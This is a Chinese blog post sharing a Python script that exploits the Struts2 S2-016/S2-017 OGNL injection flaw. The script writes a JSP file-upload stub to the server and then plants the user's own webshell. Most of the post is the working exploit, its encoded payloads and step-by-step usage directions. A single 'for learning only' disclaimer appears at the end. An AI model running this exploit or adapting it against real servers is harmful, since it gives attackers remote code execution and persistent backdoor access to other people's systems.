struts2 S2-016/S2-017 Python GetShell

    之前在看PHP,要给协会写一个CTF,偶然看到乌云上发的最新struts2漏洞以及getshell,jsp我基本上也看不懂。折腾了一下,发现挺有意思,于是写一个python的脚本来自动化getshell吧~

    ……不知不觉已经快3点了……

代码语言:javascript

#coding : utf-8
__author__ = 'Phtih0n'
import requests, sys, urllib

headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}

def GetHost(url):
(type, rest) = urllib.splittype(url)
(host, rest) = urllib.splithost(rest)
return (type + "://" + host + "/")

def UpData(url):
ma = file("shell.jsp")
str = ma.read()
param = {}
param['f'] = 'bakup.jsp'
param['t'] = str
r = requests.post(url + "phithon.jsp", data=param, headers=headers)
r = requests.get(url + param['f'], headers=headers, allow_redirects=False)
if 200 == r.status_code:
print "success"
print "shell : " + url + param['f']
else:
print "fail"

def GetShell(url):
test = url + r'''/Struts2/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22phithon.jsp%22).replaceAll("\\", "/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e'''
r = requests.get(test, headers = headers )
url = GetHost(url)
r = requests.get(url + "phithon.jsp", headers = headers)
if r.status_code == 200:
UpData(url)
else:
print "fail"

try:
url = sys.argv[1]
except:
print "usage : %s url" % sys.argv[0]
GetShell(url)

#/Struts2/test.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[phithon]'),%23w.flush(),%23w.close()}

    使用条件及方法:

    1.python安装requests库,此处有安装方法:https://cloud.tencent.com/developer/article/1719025

    2.将自己的jsp webshell改名为"shell.jsp",放在同一个目录下

    3.使用方法:UseOfStruts.py http://xxxx/ 即可:

    一般jsp权限挺大的,只要拿到webshell,一般就是管理员之类的:

    不多说了,大家继续发挥折腾吧~我睡了……

    我把源文件及我使用的jsp webshell打包发附件了。

    最后说明,代码只用作学习,请不要作为攻击手段测试国内网站。
